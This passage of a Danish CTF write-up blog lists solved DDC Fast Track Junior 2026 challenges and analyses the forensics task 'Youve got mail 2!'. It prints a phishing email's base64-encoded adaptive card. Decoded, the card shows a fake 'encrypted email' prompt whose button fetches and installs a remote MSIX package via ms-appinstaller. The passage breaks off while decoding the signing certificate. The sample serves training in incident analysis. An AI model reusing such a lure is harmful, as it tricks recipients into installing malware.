Posts on Ha1fdanhttps://ha1fdan.xyz/en/posts/Recent content in Posts on Ha1fdanHugo -- gohugo.ioen-usha1fdan.xyzSat, 28 Feb 2026 00:00:00 +0000DDC - Fast Track Junior 2026 : Writeupshttps://ha1fdan.xyz/en/posts/ddc_fasttrack_junior_2026/Sat, 28 Feb 2026 00:00:00 +0000https://ha1fdan.xyz/en/posts/ddc_fasttrack_junior_2026/<h2 id="scoreboard">Scoreboard:</h2> <p><img src="https://ha1fdan.xyz/ddc_fasttrack_2026/scoreboard.png" alt="Scoreboard"></p> <hr> <p><a href="https://ha1fdan.xyz/ddc_fasttrack_2026/my-solves.png">Link til mine løste opgaver inklusiv tidspunkt</a></p> <h2 id="opgaver-løst-i-den-rækkefølge-jeg-løste-dem">Opgaver løst (I den rækkefølge jeg løste dem):</h2> <table> <thead> <tr> <th>Challenge</th> <th>Category</th> </tr> </thead> <tbody> <tr> <td><a href="#youve-got-mail-2">Youve got mail 2!</a></td> <td>Forensics</td> </tr> <tr> <td><a href="#youve-got-mail">Youve got mail!</a></td> <td>Forensics</td> </tr> <tr> <td><a href="#peaceful">Peaceful</a></td> <td>Forensics</td> </tr> <tr> <td><a href="#windows-forensics-hell">Windows Forensics Hell</a></td> <td>Forensics</td> </tr> <tr> <td><a href="#reactor">Reactor</a></td> <td>Reverse Engineering</td> </tr> <tr> <td><a href="#mitosis">Mitosis</a></td> <td>Reverse Engineering</td> </tr> <tr> <td><a href="#squeaky-clean-1">Squeaky Clean 1</a></td> <td>Boot 2 Root</td> </tr> <tr> <td><a href="#corsica">Corsica</a></td> <td>Web exploitation</td> </tr> <tr> <td><a href="#backup">Backup</a></td> <td>Web exploitation</td> </tr> </tbody> </table> <hr> <h2 id="youve-got-mail-2">Youve got mail 2!</h2> <p>Dammit!&hellip; I did it again&hellip; But this time it seemed sooooo convincing? Like what even happened?&hellip;</p>Scoreboard:

Scoreboard

Link til mine løste opgaver inklusiv tidspunkt

Opgaver løst (I den rækkefølge jeg løste dem):

Challenge Category
Youve got mail 2! Forensics
Youve got mail! Forensics
Peaceful Forensics
Windows Forensics Hell Forensics
Reactor Reverse Engineering
Mitosis Reverse Engineering
Squeaky Clean 1 Boot 2 Root
Corsica Web exploitation
Backup Web exploitation

Youve got mail 2!

Dammit!… I did it again… But this time it seemed sooooo convincing? Like what even happened?…

Disclaimer: The handout file may be flagged as malware by antivirus software. It is recommended to run it in a sandbox or isolated environment.

Vedhæftet fil: forensics_youvegotmailtwo.zip

Løsning: Efter at have unzipppet zip filen, får vi en .eml fil. Det er en email, og i emailen er et meget suspekt stykke javascript kode.

<script type=3D"application/ld+json" id=3D"ActionableMessageCardScript"> {
  "@type": "SignedAdaptiveCard",
  "@context": "http://schema.org/extensions",
  "signedAdaptiveCard": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsIng1YyI6Ik1JSU=
pTekNDQnpPZ0F3SUJBZ0lUVlFBRE5RWVJReDljd1lLVW5RQUFBQU0xQmpBTkJna3Foa2lHOXcwQ=
kFRd0ZBREJYTVFzd0NRWURWUVFHRXdKVlV6RWVNQndHQTFVRUNoTVZUV2xqY205emIyWjBJRU52=
Y25CdmNtRjBhVzl1TVNnd0pnWURWUVFERXg5TmFXTnliM052Wm5RZ1ZFeFRJRWN5SUZKVFFTQkR=
RU0JQUTFOUUlERTJNQjRYRFRJMk1ERXlNREl3TkRNeE5sb1hEVEkyTURjeE9USXdORE14Tmxvd2=
VERUxNQWtHQTFVRUJoTUNWVk14Q3pBSkJnTlZCQWdUQWxkQk1SQXdEZ1lEVlFRSEV3ZFNaV1J0Y=
jI1a01SNHdIQVlEVlFRS0V4Vk5hV055YjNOdlpuUWdRMjl5Y0c5eVlYUnBiMjR4S2pBb0JnTlZC=
QU1USVdWdmNHMWhhV3d1YjJSemNHNXZkR2xtZVM1emFHRnlaWEJ2YVc1MExtTnZiVENDQVNJd0R=
RWUpLb1pJaHZjTkFRRUJCUUFEZ2dFUEFEQ0NBUW9DZ2dFQkFLb2VTTStVL1hIS1hXY2ZVU2xxOT=
lNcTVoUlhRb2toNlBKei9LS293b3ErQjM0Rk9EQ0VkZGhuZ0pteGhzRGVaNFhLMUt5ZWc3Vjk4K=
1FMOXdJKytEdDM1dEF0QUY4NFFHbHZKbm93NzBXUFc0U3lTTmVqUU9GZUE4bDE5YkFYS2JLNnRL=
S1dLQTk4T2JlUW9VQUJaNklxMjhEWTlkWGlldFU1b2k3SXlPZEhuRDdNTmp1TUVzVUx6NmFTQzV=
yajd2TEZpNWhXdHFXTTcyd0llL25DdTNJRDE2NytmekJOTEpGbE1oOHV5bTBnRHc4VHBPUE42UH=
ZZaHRPTFE4NXZ0WFduZUlocDlwQjhuRHBJQUZSTXhDZUlGcGVZb3Jqc1kyWVRSOWMrQXR3by9DW=
FZWbVZzN2RrWG42c1EvdFhCRm9XT215Zit4ZjVuRW9zS1lKcC93dkVDQXdFQUFhT0NCTzB3Z2dU=
cE1JSUJmZ1lLS3dZQkJBSFdlUUlFQWdTQ0FXNEVnZ0ZxQVdnQWRnRFlDVlU3bEU5Ni84Z1dHVyt=
VVDRXcnNQajhYb2RWSmc4VjBTNXl1MFZMRkFBQUFadmRMdnBXQUFBRUF3QkhNRVVDSVFEYktvOG=
dsV0lHdlBkeGJPSlhBeTN2UmpkYm9oZ1d2K3pHZTRveHZ1dHFUUUlnZW8zTVNjcEFEK0JoUEVNM=
3FNblVwTGc4Qzlpb3ExTnZhTTlDQ2pqdUx3RUFkUURDTVg1WFJSbWpSZTUvT042eWtFSHJ4OElo=
V2lLL2Y5VzFyWGFhMlE1U3pRQUFBWnZkTHZzV0FBQUVBd0JHTUVRQ0lFTERJZWd1bThjOW5hUUl=
4alpRbkhlSHlGazliWDFPQnNWZFh2c283QVhwQWlCdjNCSlh1R2lIYk04dzNSVkF2SU95YkRtRX=
hDT0JnbkdraFhIZFpSZnRwUUIzQU1panhIL0hzNjI1TldzQlAycDZFbTNqT2s1RHBjWkcrWmV0T=
1hXWkhjK2FBQUFCbTkwdSt5QUFBQVFEQUVnd1JnSWhBTks1ekRqdTJrd3NGaXJCb1AvODAwcjBU=
cnNkdGFLQlc3M2VHUXhQcWdPcUFpRUFxOHBSM0pHNnJYTDhMdGluamNpSHJuekxDUy9jMGhDQXp=
3YUpnWC8yTGpVd0d3WUpLd1lCQkFHQ054VUtCQTR3RERBS0JnZ3JCZ0VGQlFjREFUQThCZ2tyQm=
dFRUFZSTNGUWNFTHpBdEJpVXJCZ0VFQVlJM0ZRaUh2ZGNiZ2VmclJvS0JuUzZPMEF5SDhOb2RYW=
VBwdzJlQ3RLTk1BZ0ZrQWdFZ01JSUJDd1lJS3dZQkJRVUhBUUVFZ2Y0d2dmc3dZUVlJS3dZQkJR=
VUhNQUtHVldoMGRIQTZMeTkzZDNjdWJXbGpjbTl6YjJaMExtTnZiUzl3YTJsdmNITXZZMlZ5ZEh=
NdlRXbGpjbTl6YjJaMEpUSXdWRXhUSlRJd1J6SWxNakJTVTBFbE1qQkRRU1V5TUU5RFUxQWxNak=
F4Tmk1amNuUXdad1lJS3dZQkJRVUhNQUtHVzJoMGRIQTZMeTlqWVdsemMzVmxjbk11YldsamNtO=
XpiMlowTG1OdmJTOXdhMmx2Y0hNdlkyVnlkSE12VFdsamNtOXpiMlowSlRJd1ZFeFRKVEl3UnpJ=
bE1qQlNVMEVsTWpCRFFTVXlNRTlEVTFBbE1qQXhOaTVqY25Rd0xRWUlLd1lCQlFVSE1BR0dJV2g=
wZEhBNkx5OXZibVZ2WTNOd0xtMXBZM0p2YzI5bWRDNWpiMjB2YjJOemNEQWRCZ05WSFE0RUZnUV=
VNWmoxOTlHT1pXZWdpN3RRbG5NWnA5UHdaWGt3RGdZRFZSMFBBUUgvQkFRREFnV2dNQ3dHQTFVZ=
EVRUWxNQ09DSVdWdmNHMWhhV3d1YjJSemNHNXZkR2xtZVM1emFHRnlaWEJ2YVc1MExtTnZiVEFN=
QmdOVkhSTUJBZjhFQWpBQU1JSHhCZ05WSFI4RWdla3dnZVl3Z2VPZ2dlQ2dnZDJHYkdoMGRIQTZ=
MeTkzZDNjdWJXbGpjbTl6YjJaMExtTnZiUzl3YTJsdmNITXZZM0pzTDNCaGNuUnBkR2x2Ymk5Tm=
FXTnliM052Wm5RbE1qQlVURk1sTWpCSE1pVXlNRkpUUVNVeU1FTkJKVEl3VDBOVFVDVXlNREUyW=
DFCaGNuUnBkR2x2YmpBd01EWTRMbU55YkladGFIUjBjRG92TDJOeWJESXViV2xqY205emIyWjBM=
bU52YlM5d2EybHZjSE12WTNKc0wzQmhjblJwZEdsdmJpOU5hV055YjNOdlpuUWxNakJVVEZNbE1=
qQkhNaVV5TUZKVFFTVXlNRU5CSlRJd1QwTlRVQ1V5TURFMlgxQmhjblJwZEdsdmJqQXdNRFk0TG=
1OeWJEQm1CZ05WSFNBRVh6QmRNQWdHQm1lQkRBRUNBakJSQmd3ckJnRUVBWUkzVElOOUFRRXdRV=
EEvQmdnckJnRUZCUWNDQVJZemFIUjBjRG92TDNkM2R5NXRhV055YjNOdlpuUXVZMjl0TDNCcmFX=
OXdjeTlFYjJOekwxSmxjRzl6YVhSdmNua3VhSFJ0TUI4R0ExVWRJd1FZTUJhQUZBWTU4RmJSN1p=
ESU5xT2dENVQrWXBTbjV2dzNNQk1HQTFVZEpRUU1NQW9HQ0NzR0FRVUZCd01CTUEwR0NTcUdTSW=
IzRFFFQkRBVUFBNElDQVFCZmE5TW1DeUI4bGlzeGpFR0ZQRWRsZDU1ci9ZTWJITEFlbFo5akFRL=
0laeFB6MFRxaTRjMU5QKy8wOTE1d05GSk1rS1l2OGFlc1JpTmFUNHZ5MFQ1VGVSQWo4anFqbm1i=
OU9sSlF2R3lJTGQzUWhTZHEzSXhqeTdaRFdTOGkxb3JYOTJOeXVwbFJ4QjZvQkRmZG42NlRhTFo=
yQ3pubmxPTTdDSFN0MFgxUGFrc2J2U2dYTFN0czE0UjN6VGVudmVUenF4czFZRUVLdVhITDFNcD=
NpemdraUxwdTNvMVEwTDNOMjgwbVpvbkdnMXJ1TW5GZ2svaFFqakZEY0d1UWNDbVZHdEl3KzZPT=
2FlMGoxcDBZeE5xS0RXbEE3SUpYTHRKUDdQbVdNQ2FsTlJhYXVSZ2tqMGNnRWQ0WVhrYzdEWEhm=
OEhpMStydFdVWjA1MjF3dFo2QXZ0ZWY3dGhoZ0t2MXErcW1ud0FqS0hpMC9SckhpZktGUVRXeHV=
oQTBtZk5YWGh1cStBSGdoRGhxQm43LzJ1QWlnQXVXeUFOcU85RnZDNkp3VXFKZkcxSnA0V1gzb3=
FhTFU2S3RKc2NuaHQxcDVoV1NHWmdqbk9EdDRNOFl3aUNydk5PWFVWUnVCNnFBc0YyY2YxZmNoO=
XZSV3lJOHZIWnFFRmVCc3NNWEowbEZSdVYxeHVFNkduR0tUQkVmdXNTMmhFZzlydzBjU2NRV0Vx=
SGFibXRKZ3dPT1dFMDkrUVdyeUJ6QW95ZERGUlVXN1N4QXJSaVF3T1JvMmFnWU85cjVsNEJWdkd=
UZ0FvNzN1TWNnd202dzlUWW1kTlgvbEZHcXROUG9jWnJnN0MyWVlwN1JqMUxlV0FIOU5pVEZhOW=
VkM1NTa0ZvZVpHY3pmOEw3S3RtVjVYalE9PSJ9eyJzZW5kZXIiOiJqZW5zLm15cnVwQGNhcm5wZ=
mlyZS5kZGMiLCJvcmlnaW5hdG9yIjoiYWJkMTdiNGItZTM2My00OTdhLTkwZGMtYTFhNjNiM2I5=
NWM1IiwiYWRhcHRpdmVDYXJkU2VyaWFsaXplZCI6IntcbiAgICAiJHNjaGVtYSI6ICJodHRwOi8=
vYWRhcHRpdmVjYXJkcy5pby9zY2hlbWFzL2FkYXB0aXZlLWNhcmQuanNvbiIsXG4gICAgInR5cG=
UiOiAiQWRhcHRpdmVDYXJkIixcbiAgICAidmVyc2lvbiI6ICIxLjAiLFxuICAgICJib2R5IjogW=
1xuICAgICAgICB7XG4gICAgICAgICAgICAidHlwZSI6ICJDb2x1bW5TZXQiLFxuICAgICAgICAg=
ICAgImlkIjogIjFlZGUyYWJhLTYxYjktZmFhMC05ODk1LTllZDBjMjZiMmU2ZiIsXG4gICAgICA=
gICAgICAiY29sdW1ucyI6IFtcbiAgICAgICAgICAgICAgICB7XG4gICAgICAgICAgICAgICAgIC=
AgICJ0eXBlIjogIkNvbHVtbiIsXG4gICAgICAgICAgICAgICAgICAgICJpZCI6ICJlNTc1NjI0M=
i0wOTYzLTM3YTItN2NiNC00Mzk3ODg2ZDYwYmIiLFxuICAgICAgICAgICAgICAgICAgICAicGFk=
ZGluZyI6ICJOb25lIixcbiAgICAgICAgICAgICAgICAgICAgIndpZHRoIjogInN0cmV0Y2giLFx=
uICAgICAgICAgICAgICAgICAgICAiaXRlbXMiOiBbXG4gICAgICAgICAgICAgICAgICAgICAgIC=
B7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgInR5cGUiOiAiVGV4dEJsb2NrIixcbiAgI=
CAgICAgICAgICAgICAgICAgICAgICAgICAiaWQiOiAiMjBmMzgzM2UtMDQzNS01Yzg3LWZhZDEt=
YjUyOGUwMDQ2ZmI2IixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAidGV4dCI6ICJNaWN=
yb3NvZnQgU2VjdXJlIEVtYWlscyIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgIndyYX=
AiOiB0cnVlXG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgI=
F0sXG4gICAgICAgICAgICAgICAgICAgICJ2ZXJ0aWNhbENvbnRlbnRBbGlnbm1lbnQiOiAiQ2Vu=
dGVyIlxuICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAge1xuICAgICAgICAgICA=
gICAgICAgICAidHlwZSI6ICJDb2x1bW4iLFxuICAgICAgICAgICAgICAgICAgICAiaWQiOiAiNz=
QyMTVhMjYtZmE4Yi1lNTQ5LWNjZWQtN2Y5OWZkMzRhNjYxIixcbiAgICAgICAgICAgICAgICAgI=
CAgInBhZGRpbmciOiAiTm9uZSIsXG4gICAgICAgICAgICAgICAgICAgICJ3aWR0aCI6ICJhdXRv=
IixcbiAgICAgICAgICAgICAgICAgICAgIml0ZW1zIjogW10sXG4gICAgICAgICAgICAgICAgICA=
gICJob3Jpem9udGFsQWxpZ25tZW50IjogIlJpZ2h0IlxuICAgICAgICAgICAgICAgIH1cbiAgIC=
AgICAgICAgIF0sXG4gICAgICAgICAgICAicGFkZGluZyI6IHtcbiAgICAgICAgICAgICAgICAid=
G9wIjogIlNtYWxsIixcbiAgICAgICAgICAgICAgICAiYm90dG9tIjogIlNtYWxsIixcbiAgICAg=
ICAgICAgICAgICAibGVmdCI6ICJEZWZhdWx0IixcbiAgICAgICAgICAgICAgICAicmlnaHQiOiA=
iU21hbGwiXG4gICAgICAgICAgICB9LFxuICAgICAgICAgICAgInN0eWxlIjogImVtcGhhc2lzIl=
xuICAgICAgICB9LFxuICAgICAgICB7XG4gICAgICAgICAgICAidHlwZSI6ICJDb250YWluZXIiL=
FxuICAgICAgICAgICAgImlkIjogInBhZ2UyIixcbiAgICAgICAgICAgICJwYWRkaW5nIjogIkRl=
ZmF1bHQiLFxuICAgICAgICAgICAgIml0ZW1zIjogW1xuICAgICAgICAgICAgICAgIHtcbiAgICA=
gICAgICAgICAgICAgICAgInR5cGUiOiAiVGV4dEJsb2NrIixcbiAgICAgICAgICAgICAgICAgIC=
AgImlkIjogImMzMTk4ODU2LWU3NWItNDIxMy04YjAyLWY0Mzk2MzcxNTBjZCIsXG4gICAgICAgI=
CAgICAgICAgICAgICJ0ZXh0IjogIkVycm9yISIsXG4gICAgICAgICAgICAgICAgICAgICJ3cmFw=
IjogdHJ1ZSxcbiAgICAgICAgICAgICAgICAgICAgInNpemUiOiAiTGFyZ2UiLFxuICAgICAgICA=
gICAgICAgICAgICAid2VpZ2h0IjogIkJvbGRlciJcbiAgICAgICAgICAgICAgICB9LFxuICAgIC=
AgICAgICAgICAgIHtcbiAgICAgICAgICAgICAgICAgICAgInR5cGUiOiAiVGV4dEJsb2NrIixcb=
iAgICAgICAgICAgICAgICAgICAgImlkIjogIjFhOWFhZmVjLTQwMmItNzlmYi0zNDBjLWNjY2I3=
MTU0MjMzNSIsXG4gICAgICAgICAgICAgICAgICAgICJ0ZXh0IjogIllvdXIgbWFjaGluZSBkb2V=
zIG5vdCBzdXBwb3J0IHRoZSByZXF1aXJlZCBmZWF0dXJlcyBmb3Igb3BlbmluZyBhbiBlbmNyeX=
B0ZWQgZW1haWwuIFBsZWFzZSBlbmFibGUgdGhlIGZlYXR1cmUgdG8gdmlldyB0aGUgbWVzc2FnZ=
SIsXG4gICAgICAgICAgICAgICAgICAgICJ3cmFwIjogdHJ1ZVxuICAgICAgICAgICAgICAgIH0s=
XG4gICAgICAgICAgICAgICAge1xuICAgICAgICAgICAgICAgICAgICAidHlwZSI6ICJBY3Rpb25=
TZXQiLFxuICAgICAgICAgICAgICAgICAgICAiaWQiOiAiYjc0Y2Q2ZTgtNjMzOC1lMzZjLWZhNG=
EtNzNmZTBhMzA5MGRmIixcbiAgICAgICAgICAgICAgICAgICAgImFjdGlvbnMiOiBbXG4gICAgI=
CAgICAgICAgICAgICAgICAgICB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgInR5cGUi=
OiAiQWN0aW9uLk9wZW5VcmwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpZCI6ICI=
zNWUwNGQzYy1jOGZlLWNhYWItOWRiOC1jYWE1NGIwMDgzZmEiLFxuICAgICAgICAgICAgICAgIC=
AgICAgICAgICAgICJ0aXRsZSI6ICJFbmFibGUgRmVhdHVyZSIsXG4gICAgICAgICAgICAgICAgI=
CAgICAgICAgICAgInVybCI6ICJtcy1hcHBpbnN0YWxsZXI6P3NvdXJjZT1odHRwczovL3NlY3Vy=
ZWVtYWlsLmN0ZnRlY2gudWsvaW5zdGFsbGVyLm1zaXgiLFxuICAgICAgICAgICAgICAgICAgICA=
gICAgICAgICJzdHlsZSI6ICJwb3NpdGl2ZSIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgIC=
AgImlzUHJpbWFyeSI6IHRydWVcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgI=
CAgICAgICAgICAgXSxcbiAgICAgICAgICAgICAgICAgICAgImhvcml6b250YWxBbGlnbm1lbnQi=
OiAiUmlnaHQiXG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgXSxcbiAgICAgICAgICA=
gICJpc1Zpc2libGUiOiBmYWxzZVxuICAgICAgICB9LFxuICAgICAgICB7XG4gICAgICAgICAgIC=
AidHlwZSI6ICJDb250YWluZXIiLFxuICAgICAgICAgICAgImlkIjogInBhZ2UxIixcbiAgICAgI=
CAgICAgICJwYWRkaW5nIjogIkRlZmF1bHQiLFxuICAgICAgICAgICAgInNwYWNpbmciOiAiTm9u=
ZSIsXG4gICAgICAgICAgICAiaXRlbXMiOiBbXG4gICAgICAgICAgICAgICAge1xuICAgICAgICA=
gICAgICAgICAgICAidHlwZSI6ICJUZXh0QmxvY2siLFxuICAgICAgICAgICAgICAgICAgICAiaW=
QiOiAiNDQ5MDY3OTctMjIyZi05ZmUyLTBiN2EtZTNlZTIxYzZlMzgwIixcbiAgICAgICAgICAgI=
CAgICAgICAgInRleHQiOiAiWW91IGhhdmUgYSBuZXcgZW5jcnlwdGVkIGVtYWlsIixcbiAgICAg=
ICAgICAgICAgICAgICAgIndyYXAiOiB0cnVlLFxuICAgICAgICAgICAgICAgICAgICAid2VpZ2h=
0IjogIkJvbGRlciIsXG4gICAgICAgICAgICAgICAgICAgICJzaXplIjogIkxhcmdlIixcbiAgIC=
AgICAgICAgICAgICAgICAgInN0eWxlIjogImhlYWRpbmciXG4gICAgICAgICAgICAgICAgfSxcb=
iAgICAgICAgICAgICAgICB7XG4gICAgICAgICAgICAgICAgICAgICJ0eXBlIjogIlRleHRCbG9j=
ayIsXG4gICAgICAgICAgICAgICAgICAgICJpZCI6ICJmN2FiZGYxYS0zY2NlLTIxNTktMjhlZi1=
mMmYzNjJlYzkzN2UiLFxuICAgICAgICAgICAgICAgICAgICAidGV4dCI6ICJZb3UgaGF2ZSByZW=
NpZXZlZCBhbiBlbmNyeXB0ZWQgZW1haWwgZnJvbSBcXCJqZW5zLm15cnVwQGN5YmVybWVzdGVyc=
2thYmVybmUuZGRjXFwiIHdpdGggdGhlIHN1YmplY3QgXFwiQ3JlZGVudGlhbHMgZm9yIENURmRc=
XCIiLFxuICAgICAgICAgICAgICAgICAgICAid3JhcCI6IHRydWVcbiAgICAgICAgICAgICAgICB=
9LFxuICAgICAgICAgICAgICAgIHtcbiAgICAgICAgICAgICAgICAgICAgInR5cGUiOiAiQWN0aW=
9uU2V0IixcbiAgICAgICAgICAgICAgICAgICAgImlkIjogImE0YjdmNmZhLWYwOWMtMzI0MC0wM=
TA3LWJhOTZkYTUwNDcxYyIsXG4gICAgICAgICAgICAgICAgICAgICJhY3Rpb25zIjogW1xuICAg=
ICAgICAgICAgICAgICAgICAgICAge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ0eXB=
lIjogIkFjdGlvbi5Ub2dnbGVWaXNpYmlsaXR5IixcbiAgICAgICAgICAgICAgICAgICAgICAgIC=
AgICAiaWQiOiAiZDg2OTA1NmMtZTQzNi0xOGYxLTE5MzgtYTAzN2RhNmRiOGM4IixcbiAgICAgI=
CAgICAgICAgICAgICAgICAgICAgICAidGl0bGUiOiAiVmlldyBtZXNzYWdlIixcbiAgICAgICAg=
ICAgICAgICAgICAgICAgICAgICAidGFyZ2V0RWxlbWVudHMiOiBbXG4gICAgICAgICAgICAgICA=
gICAgICAgICAgICAgICAgIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC=
JlbGVtZW50SWQiOiAicGFnZTEiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI=
CAgImlzVmlzaWJsZSI6IGZhbHNlXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0s=
XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHtcbiAgICAgICAgICAgICAgICAgICA=
gICAgICAgICAgICAgICAgICJlbGVtZW50SWQiOiAicGFnZTIiLFxuICAgICAgICAgICAgICAgIC=
AgICAgICAgICAgICAgICAgICAgImlzVmlzaWJsZSI6IHRydWVcbiAgICAgICAgICAgICAgICAgI=
CAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIF0sXG4gICAgICAg=
ICAgICAgICAgICAgICAgICAgICAgInN0eWxlIjogInBvc2l0aXZlIixcbiAgICAgICAgICAgICA=
gICAgICAgICAgICAgICAiaXNQcmltYXJ5IjogdHJ1ZVxuICAgICAgICAgICAgICAgICAgICAgIC=
AgfVxuICAgICAgICAgICAgICAgICAgICBdLFxuICAgICAgICAgICAgICAgICAgICAiaG9yaXpvb=
nRhbEFsaWdubWVudCI6ICJSaWdodCJcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICBd=
XG4gICAgICAgIH1cbiAgICBdLFxuICAgICJwYWRkaW5nIjogIk5vbmUiLFxuICAgICJAdHlwZSI=
6ICJBZGFwdGl2ZUNhcmQiLFxuICAgICJAY29udGV4dCI6ICJodHRwOi8vc2NoZW1hLm9yZy9leH=
RlbnNpb25zIixcblx0ZXhwZWN0ZWRBY3RvcnM6IFtcbiAgXHQgIG51bGxcblx0XSxcblx0aGlkZ=
U9yaWdpbmFsQm9keTogdHJ1ZSxcblx0cnRsOiBmYWxzZVxufSIsImlhdCI6IjE3NzE0MjcwODgi=
LCJyZWNpcGllbnRzU2VyaWFsaXplZCI6IltcIm9mZmVyLnNvZXJlbnNlbkBob3RtYWlsLmRkY1w=
iXSJ9"
} </script>

Hvis vi fjerner alle = tegn og alle newlines, og så base64 decoder det, får vi følgende json:

{"alg":"RS256","typ":"JWT","x5c":"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